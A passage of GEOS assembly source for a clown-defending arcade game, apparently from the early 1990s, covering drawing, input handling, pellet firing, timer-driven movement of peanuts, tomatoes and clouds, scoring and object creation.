%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentViewSizeChanged method dynamic AmateurContentClass, MSG_META_CONTENT_VIEW_SIZE_CHANGED mov di,offset AmateurContentClass call ObjCallSuperNoLock clr cx,dx mov ax,MSG_VIS_SET_POSITION GOTO ObjCallInstanceNoLock ContentViewSizeChanged endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentSetPosition %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Position the clowns CALLED BY: ContentSubviewSizeChanged, ContentVisOpen PASS: ds:di - content RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/10/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentSetPosition method dynamic AmateurContentClass, MSG_VIS_SET_POSITION .enter mov di, offset AmateurContentClass call ObjCallSuperNoLock mov di, ds:[si] add di, ds:[di].Vis_offset clr bp mov ax, MSG_VIS_RECALC_SIZE call CallAllBitmaps ; bp <- total widths of all mov ax, ds:[di].VCNI_viewWidth sub ax, bp mov bx, NUM_CLOWNS+1 clr dx div bx sub sp, size BitmapPositionParams mov bp, sp mov [bp].BPP_distBetween, ax mov ax, ds:[di].VCNI_viewWidth mov [bp].BPP_viewWidth, ax mov ax, ds:[di].VCNI_viewHeight mov [bp].BPP_viewHeight, ax clr [bp].BPP_curPos mov ax, MSG_VIS_SET_POSITION call CallAllBitmaps add sp, size BitmapPositionParams ; Make sure we get another draw mov ax, MSG_VIS_INVALIDATE call ObjCallInstanceNoLock mov ax, MSG_VIS_GET_SIZE mov si, offset LeftBlaster call ObjCallInstanceNoLock mov ds:[di].ACI_blasterHeight, dx .leave ret ContentSetPosition endm COMMENT @--------------------------------------------------------------------- ContentVisOpen ------------------------------------------------------------------------------ SYNOPSIS: This procedure is the Content Class' method for opening the view, setting the gstate, and clearing some state variables. CALLED BY: GLOBAL PASS: *ds:si - content RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ ContentVisOpen method AmateurContentClass, MSG_VIS_OPEN push di mov di, offset AmateurContentClass call ObjCallSuperNoLock pop di mov ax, MSG_VIS_VUP_CREATE_GSTATE ; Create Graphics State call ObjCallInstanceNoLock mov es:[gstate], bp ;Save GState clr cx, dx mov ax, MSG_VIS_SET_POSITION GOTO ObjCallInstanceNoLock ContentVisOpen endm COMMENT @--------------------------------------------------------------------- ContentDraw ------------------------------------------------------------------------------ SYNOPSIS: draw blasters, clowns CALLED BY: MSG_DRAW PASS: bp - gstate handle RETURN: DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ ContentDraw method AmateurContentClass, MSG_VIS_DRAW ; save the old gstate, and use the new one temporarily xchg es:[gstate], bp ; draw a rectangle in the bg color mov cx, ds:[di].VCNI_viewWidth mov dx, ds:[di].VCNI_viewHeight mov ax, ds:[di].ACI_colorInfo.CI_background push di mov di, es:[gstate] call GrSetAreaColor clr ax clr bx call GrFillRect pop di mov ax, MSG_VIS_DRAW call CallAllBitmaps ; If game is over, draw game over text cmp ds:[di].ACI_status, AGS_OVER jne notOver call DisplayGameOverText notOver: cmp ds:[di].ACI_status, AGS_PAUSED jne done call DisplayPauseText done: xchg es:[gstate], bp ret ContentDraw endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawClowns %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: redraw all the clowns CALLED BY: ContentDraw, ContentTimerTick PASS: ds:di - content RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/ 7/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawClowns proc near class AmateurContentClass uses bp .enter EC < call ECCheckContentDSDI > EC < call ECCheckContentDSSI > mov ax, MSG_VIS_DRAW call CallAllClowns .leave ret DrawClowns endp COMMENT @--------------------------------------------------------------------- ContentVisClose ------------------------------------------------------------------------------ SYNOPSIS: Destroy the Gstate and stop the timer CALLED BY: MSG_VIS_CLOSE PASS: - RETURN: - DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ ContentVisClose method AmateurContentClass, MSG_VIS_CLOSE ; call superclass push di mov di, offset AmateurContentClass call ObjCallSuperNoLock pop di ; If the game is running, pause it cmp ds:[di].ACI_status, AGS_RUNNING jne afterPause call ContentPauseGame afterPause: ; nuke the gstate clr cx xchg cx, es:[gstate] jcxz done mov di, cx call GrDestroyState done: ret ContentVisClose endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentKBDChar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Handle keyboard events PASS: *ds:si = AmateurContentClass object ds:di = AmateurContentClass instance data es = Segment of AmateurContentClass. RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/ 4/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentKBDChar method dynamic AmateurContentClass, MSG_META_KBD_CHAR uses ax,cx,dx,bp .enter mov bp, di ; instance ptr ; Only pay attention to first presses test dl, mask CF_FIRST_PRESS jz done ; ignore releases and repeat presses test dl, mask CF_RELEASE or mask CF_REPEAT_PRESS jnz done ; See if it's off the left edge of the screen mov al, cl mov dl, cl mov di, offset LeftPelletList mov cx, length LeftPelletList repne scasb je leftBlaster mov al, dl mov di, offset RightPelletList mov cx, length RightPelletList repne scasb jne done mov di, bp mov cx, ds:[di].ACI_mouse.P_x mov dx, ds:[di].ACI_mouse.P_y call ShootRightPellet jmp done leftBlaster: mov di, bp mov cx, ds:[di].ACI_mouse.P_x mov dx, ds:[di].ACI_mouse.P_y call ShootLeftPellet done: .leave ret ContentKBDChar endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ShootRightPellet %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: PASS: ds:di - content cx, dx - end position RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/25/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ShootRightPellet proc near class AmateurContentClass .enter EC < call ECCheckContentDSDI > mov ax, ds:[di].VCNI_viewWidth sub ax, BLASTER_WIDTH call ContentButtonCommon jnc done mov ax, MSG_BLASTER_DRAW_ALT_NEXT_TIME mov si, offset RightBlaster call ObjCallInstanceNoLock done: .leave ret ShootRightPellet endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ShootLeftPellet %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Shoot a pellet from the left of the screen CALLED BY: PASS: ds:di - content cx, dx - position RETURN: nothing DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/25/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ShootLeftPellet proc near class AmateurContentClass .enter EC < call ECCheckContentDSDI > clr ax call ContentButtonCommon jnc done mov ax, MSG_BLASTER_DRAW_ALT_NEXT_TIME mov si, offset LeftBlaster call ObjCallInstanceNoLock done: .leave ret ShootLeftPellet endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentPtr %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Store the mouse position in case user presses a key PASS: *ds:si = AmateurContentClass object ds:di = AmateurContentClass instance data es = Segment of AmateurContentClass. RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/ 4/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentPtr method dynamic AmateurContentClass, MSG_META_PTR mov ds:[di].ACI_mouse.P_x, cx mov ds:[di].ACI_mouse.P_y, dx mov ax, mask MRF_PROCESSED ret ContentPtr endm COMMENT @------------------------------------------------------------------- ContentStartSelect ---------------------------------------------------------------------------- SYNOPSIS: When a button is pressed, this message is sent to the content object from the UI. The content tries to get a new pellet object going and sends it on its way. CALLED BY: PASS: cx, dx - x and y posn of button press *ds:si - AmateurContent instance data RETURN: ax - mask MRF_PROCESSED DESTROYED: cx, dx, bp PSEUDO CODE/STRATEGY: Go through the pellet array, find the first free pellet Get its handle, and send that pellet a message to shoot itself KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ ContentStartSelect method AmateurContentClass, MSG_META_START_SELECT call ShootLeftPellet mov ax, mask MRF_PROCESSED ret ContentStartSelect endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentButtonCommon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Common code to handle a button or key press CALLED BY: PASS: ax - left edge of blaster to shoot from ds:di - content cx, dx, - ending position RETURN: carry - SET if bullet fired DESTROYED: ax,bx,cx,dx,bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/ 7/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentButtonCommon proc near class AmateurContentClass uses si, di .enter CheckHack <size PelletParams eq 5 * size word> push ds:[di].ACI_colorInfo.CI_pellets push dx push cx mov cx, ds:[di].VCNI_viewHeight sub cx, ds:[di].ACI_blasterHeight add cx, BLASTER_HOT_Y push cx add ax, BLASTER_HOT_X push ax mov bp, sp ; Is the game running? Then shame on the user! cmp ds:[di].ACI_status, AGS_RUNNING jne noFire tst es:[gstate] jz noFire tst ds:[di].ACI_actInfo.AI_pellets jz noneLeft ; don't fire if no pellets left! mov ax, MAX_PELLETS mov bx, offset ACI_pellets call FindFreeObject jnc maxPellets ; draw some lines at the current position call DrawPelletMark ornf ds:[di].ACI_display, mask DF_PELLETS_LEFT dec ds:[di].ACI_actInfo.AI_pellets cmp ds:[di].ACI_actInfo.AI_pellets, 5 jge afterFew mov ds:[di].ACI_sound, ST_FEW_PELLETS afterFew: mov ds:[si].HS_status, 1 ; we've found a pellet to shoot! mov si, ds:[si].HS_handle mov ax, MSG_MOVE_START call ObjCallInstanceNoLock stc done: lahf add sp, size PelletParams sahf .leave ret noneLeft: mov ds:[di].ACI_sound, ST_NO_PELLETS jmp noFire maxPellets: mov ds:[di].ACI_sound, ST_MAX_PELLETS_ON_SCREEN noFire: clc jmp done ContentButtonCommon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawPelletMark %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw a cross where the user pressed the button CALLED BY: ContentButtonCommon PASS: ss:bp - PelletParams ds:di - content RETURN: nothing DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/14/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawPelletMark proc near uses di class AmateurContentClass .enter EC < call ECCheckContentDSDI > mov ax, ds:[di].ACI_colorInfo.CI_pellets mov di, es:[gstate] call GrSetLineColor clrdw dxax call GrSetLineWidth mov ax, ss:[bp].BP_end.P_x mov bx, ss:[bp].BP_end.P_y mov cx, ax mov dx, bx sub ax, PELLET_MARK_SIZE/2 add cx, PELLET_MARK_SIZE/2 sub bx, PELLET_MARK_SIZE/2 add dx, PELLET_MARK_SIZE/2 call GrDrawEllipse .leave ret DrawPelletMark endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentStartMoveCopy %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: handle right-mouse button press PASS: *ds:si = AmateurContentClass object ds:di = AmateurContentClass instance data es = Segment of AmateurContentClass. RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/ 7/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentStartMoveCopy method dynamic AmateurContentClass, MSG_META_START_MOVE_COPY call ShootRightPellet mov ax, mask MRF_PROCESSED ret ContentStartMoveCopy endm COMMENT @------------------------------------------------------------------- FindFreeObject ---------------------------------------------------------------------------- SYNOPSIS: Starting at the array (address passed in), find a free object. CALLED BY: GameButtonPressed, EndPellet, etc. PASS: ax - max size of array bx - offset from start of GCI to array *ds:si - AmateurContent instance data RETURN: carry set if found ds:si - address of array element DESTROYED: ax PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ FindFreeObject proc near .enter EC < call ECCheckContentDSSI > mov si, ds:[si] add si, ds:[si].AmateurContent_offset add si, bx FFO_loop: tst ds:[si].HS_status jz found add si, size HandleStruct dec ax jnz FFO_loop clc done: .leave ret found: stc jmp done FindFreeObject endp COMMENT @------------------------------------------------------------------- ContentTimerTick ---------------------------------------------------------------------------- SYNOPSIS: Each time the timer ticks, Tell everything to move itself CALLED BY: MSG_TIMER_TICK PASS: cx:dx = tick count ds:di - AmateurContent instance data *ds:si - AmateurContent object RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ ContentTimerTick method AmateurContentClass, MSG_TIMER_TICK locals local TimerTickVars .enter cmp ds:[di].ACI_status, AGS_RUNNING LONG jne done tst es:[gstate] jz done mov cx, INTERVAL_STD_TIMER mov dx, MSG_TIMER_TICK call ContentSetupTimer ; set up the timer for another ; go... call ContentDisplay mov locals.TTV_callOnNotEnd, offset Stub mov locals.TTV_callback, offset PelletMove mov locals.TTV_callOnEnd, offset ContentStartCloud mov locals.TTV_array, offset ACI_pellets mov ax, MAX_PELLETS call TimerTickLoop ; Update peanuts mov ax, MAX_PEANUTS mov locals.TTV_callback, offset PeanutMove mov locals.TTV_callOnEnd, offset ContentEndPeanut mov locals.TTV_array, offset ACI_peanuts call TimerTickLoop ; Update smart peanuts mov ax, MAX_TOMATOES mov locals.TTV_callback, offset TomatoMove mov locals.TTV_callOnEnd, offset ContentEndTomato mov locals.TTV_array, offset ACI_Tomatoes call TimerTickLoop ; Update clouds mov ax, MAX_CLOUDS mov locals.TTV_callOnEnd, offset ContentEndCloud mov locals.TTV_callOnNotEnd, offset ContentSendCloudToPeanuts mov locals.TTV_array, offset ACI_clouds mov locals.TTV_callback, offset Cloud call TimerTickLoop push bp call ContentSendPeanut ; send any new peanuts call ContentSendTomato call ContentCheckActEnd pop bp done: .leave ret ContentTimerTick endm COMMENT @------------------------------------------------------------------- TimerTickLoop ---------------------------------------------------------------------------- SYNOPSIS: Called by ContentTimerTick, sends events to movable objects in the current array CALLED BY: PASS: ax - number of items ds:di - content instance data *ds:si - Content object RETURN: nothing DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ TimerTickLoop proc near uses si,di class AmateurContentClass locals local TimerTickVars .enter inherit EC < call ECCheckContentDSDI > EC < call ECCheckContentDSSI > mov bx, locals.TTV_array ; current element add bx, di startLoop: push ax, bx tst ds:[bx].HS_status jz next push bx, di, si, bp mov si, ds:[bx].HS_handle mov bx, locals.TTV_callback call bx pop bx, di, si, bp jc callOnEnd call locals.TTV_callOnNotEnd jmp next callOnEnd: clr ds:[bx].HS_status ; status is DONE call locals.TTV_callOnEnd next: pop ax, bx add bx, size HandleStruct dec ax jnz startLoop .leave ret TimerTickLoop endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentEndTomato %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Nuke a smart peanut CALLED BY: PASS: ds:di - content RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentEndTomato proc near class AmateurContentClass EC < call ECCheckContentDSDI > dec ds:[di].ACI_screenTomatoes GOTO ContentEndPeanutCommon ContentEndTomato endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentEndPeanut %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: End the trajectory of a normal peanut CALLED BY: ContentTimerTick PASS: ds:di - content RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentEndPeanut proc near class AmateurContentClass dec ds:[di].ACI_screenPeanuts FALL_THRU ContentEndPeanutCommon ContentEndPeanut endp COMMENT @--------------------------------------------------------------------- ContentEndPeanutCommon ------------------------------------------------------------------------------ SYNOPSIS: set things up on the content side to end a peanut see if any clowns were hit, or if blasters need to be redrawn. CALLED BY: TimerTickLoop (ContentTimerTick) PASS: cx, dx = peanut position (x,y) bp - score to add if peanut died as result of an cloud. ds:di - content RETURN: DESTROYED: nothing PSEUDO CODE/STRATEGY: If peanut cloudd up in the air, start an cloud. Otherwise, check if peanut cloudd on the ground. If so, start an cloud. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ ContentEndPeanutCommon proc near class AmateurContentClass .enter EC < call ECCheckContentDSDI > EC < call ECCheckContentDSSI > ; See if peanut cloudd high or low mov ax, ds:[di].VCNI_viewHeight mov bx, es:[clownHeight] shr bx sub ax, bx cmp ax, dx jg higherUp mov ax, MSG_BITMAP_CHECK_PEANUT call CallAllBitmaps jnc done call ContentStartCloud mov ds:[di].ACI_sound, ST_CLOWN_HIT dec ds:[di].ACI_clownsLeft done: .leave ret higherUp: call ContentStartCloud jmp done ContentEndPeanutCommon endp COMMENT @------------------------------------------------------------------- ContentStartCloud ---------------------------------------------------------------------------- SYNOPSIS: Set things up on the Content Side to initiate an cloud instance CALLED BY: AmateurTimerTick PASS: cx, dx - position of cloud ds:di - content RETURN: DESTROYED: ax,bx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ ContentStartCloud proc near uses di, si, bp class AmateurContentClass .enter EC < call ECCheckContentDSDI > mov ax, MAX_CLOUDS mov bx, offset ACI_clouds call FindFreeObject ; returns array location in si jnc done ; if not found, forget it inc ds:[si].HS_status mov ax, MSG_MOVE_START mov si, ds:[si].HS_handle call ObjCallInstanceNoLock done: .leave ret ContentStartCloud endp COMMENT @------------------------------------------------------------------- ContentSendCloudToPeanuts ---------------------------------------------------------------------------- SYNOPSIS: Send data about the current cloud to all peanuts CALLED BY: PASS: cx, dx - position of cloud ax - size of cloud *ds:si - content RETURN: nothing DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: send a message to each active peanut to see if it should end itself and initiate an cloud KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ ContentSendCloudToPeanuts proc near uses si,di,bp class AmateurContentClass .enter EC < call ECCheckContentDSDI > mov bp, ax ; cloud size mov ax, MAX_PEANUTS lea bx, ds:[di].ACI_peanuts mov si, SCORE_PEANUT_HIT call SendCloudLoop mov ax, MAX_TOMATOES lea bx, ds:[di].ACI_Tomatoes mov si, SCORE_TOMATO call SendCloudLoop .leave ret ContentSendCloudToPeanuts endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SendCloudLoop %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Loop thru the peanuts or smart peanuts, sending cloud info to each. If there's a hit, update the score CALLED BY: PASS: ss:bp - SendCloudVars ax - number of elements in array ds:bx - array of peanuts/smart peanuts RETURN: nothing DESTROYED: ax,bx,si,di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/27/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SendCloudLoop proc near class AmateurContentClass .enter inherit startLoop: tst ds:[bx].HS_status jz next push si mov si, ds:[bx].HS_handle call PeanutNotifyCloud pop si jnc next add ds:[di].ACI_score.low, si adc ds:[di].ACI_score.high, 0 ornf ds:[di].ACI_display, mask DF_SCORE next: add bx, size HandleStruct dec ax jnz startLoop .leave ret SendCloudLoop endp COMMENT @------------------------------------------------------------------- CreateObjects ---------------------------------------------------------------------------- SYNOPSIS: Create all the pellet, peanut, cloud objects needed by the program. CALLED BY: ContentVisOpen PASS: *ds:si - Content RETURN: DESTROYED: nothing PSEUDO CODE/STRATEGY: Allocate all the objects, storing their handles in the GCI arrays KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ CreateObjects proc near uses ax,bx,cx,dx,di,bp class AmateurContentClass .enter EC < call ECCheckContentDSDI > EC < call ECCheckContentDSSI > mov di, offset AmateurPelletClass mov bx, offset ACI_pellets mov cx, MAX_PELLETS call CreateObjectsOfClass mov di, offset AmateurPeanutClass mov bx, offset ACI_peanuts mov cx, MAX_PEANUTS call CreateObjectsOfClass mov di, offset TomatoClass mov bx, offset ACI_Tomatoes mov cx, MAX_TOMATOES call CreateObjectsOfClass mov di, offset AmateurCloudClass mov bx, offset ACI_clouds mov cx, MAX_CLOUDS call CreateObjectsOfClass .leave ret CreateObjects endp COMMENT @------------------------------------------------------------------- CreateObjectsOfClass ---------------------------------------------------------------------------- SYNOPSIS: create a single object CALLED BY: CreateObjects PASS: *ds:si - ContentObject es:di - class definition bx - offset to array (in GCI) in which to store handle bx - object block handle cx - number of objects to create RETURN: DESTROYED: ax,bx,cx,dx,bp REGISTER USAGE: cx - counter PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ CreateObjectsOfClass proc near class AmateurContentClass .enter startLoop: push bx, cx, si mov bx, ds:[LMBH_handle] call ObjInstantiate mov ax, si ; chunk handle of new object pop bx, cx, si push di mov di, ds:[si] add di, ds:[di].Vis_offset clr ds:[bx][di].HS_status mov ds:[bx][di].HS_handle, ax ; new chunk handle add bx, size HandleStruct pop di EC < call ECCheckContentDSSI > loop startLoop .leave ret CreateObjectsOfClass endp COMMENT @--------------------------------------------------------------------- ContentSendPeanut ------------------------------------------------------------------------------ SYNOPSIS: Send a new peanut CALLED BY: ContentTimerTick PASS: ds:di - AmateurContent instance data *ds:si - AmateurContent object RETURN: nothing DESTROYED: ax, bx, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 1/91 initial revision ---------------------------------------------------------------------------@ ContentSendPeanut proc near class AmateurContentClass .enter EC < call ECCheckContentDSDI > EC < call ECCheckContentDSSI > ; set up stack frame to send to peanuts CheckHack <size PeanutParams eq 8 * size word> push ax ; view Height (will be set ; later) push ds:[di].VCNI_viewWidth push ds:[di].ACI_colorInfo.CI_trail push ds:[di].ACI_colorInfo.CI_peanut push ds:[di].ACI_actInfo.AI_speed push ds:[di].ACI_actInfo.AI_maxScreenPeanuts push ds:[di].ACI_screenPeanuts push ds:[di].ACI_actInfo.AI_peanuts mov bp, sp mov ax, MAX_PEANUTS mov bx, offset ACI_peanuts call SendPeanutCommon ; store updated values mov ax, ss:[bp].MP_actPeanuts mov ds:[di].ACI_actInfo.AI_peanuts, ax mov ax, ss:[bp].MP_screenPeanuts mov ds:[di].ACI_screenPeanuts, ax add sp, size PeanutParams .leave ret ContentSendPeanut endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ContentSendTomato %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Send off a smart peanut CALLED BY: PASS: RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ContentSendTomato proc near class AmateurContentClass .enter EC < call ECCheckContentDSDI > EC < call ECCheckContentDSSI > ; set up stack frame to send to peanuts CheckHack <size PeanutParams eq 8 * size word> push ax ; true value will be filled in later push ds:[di].VCNI_viewWidth push ds:[di].ACI_colorInfo.CI_trail push ds:[di].ACI_colorInfo.CI_Tomato push ds:[di].ACI_actInfo.AI_speed push ds:[di].ACI_actInfo.AI_maxScreenTomatoes push ds:[di].ACI_screenTomatoes push ds:[di].ACI_actInfo.AI_tomatoes mov bp, sp mov ax, MAX_TOMATOES mov bx, offset ACI_Tomatoes call SendPeanutCommon ; store updated values mov ax, ss:[bp].MP_actPeanuts mov ds:[di].ACI_actInfo.AI_tomatoes, ax mov ax, ss:[bp].MP_screenPeanuts mov ds:[di].ACI_screenTomatoes, ax add sp, size PeanutParams .leave ret 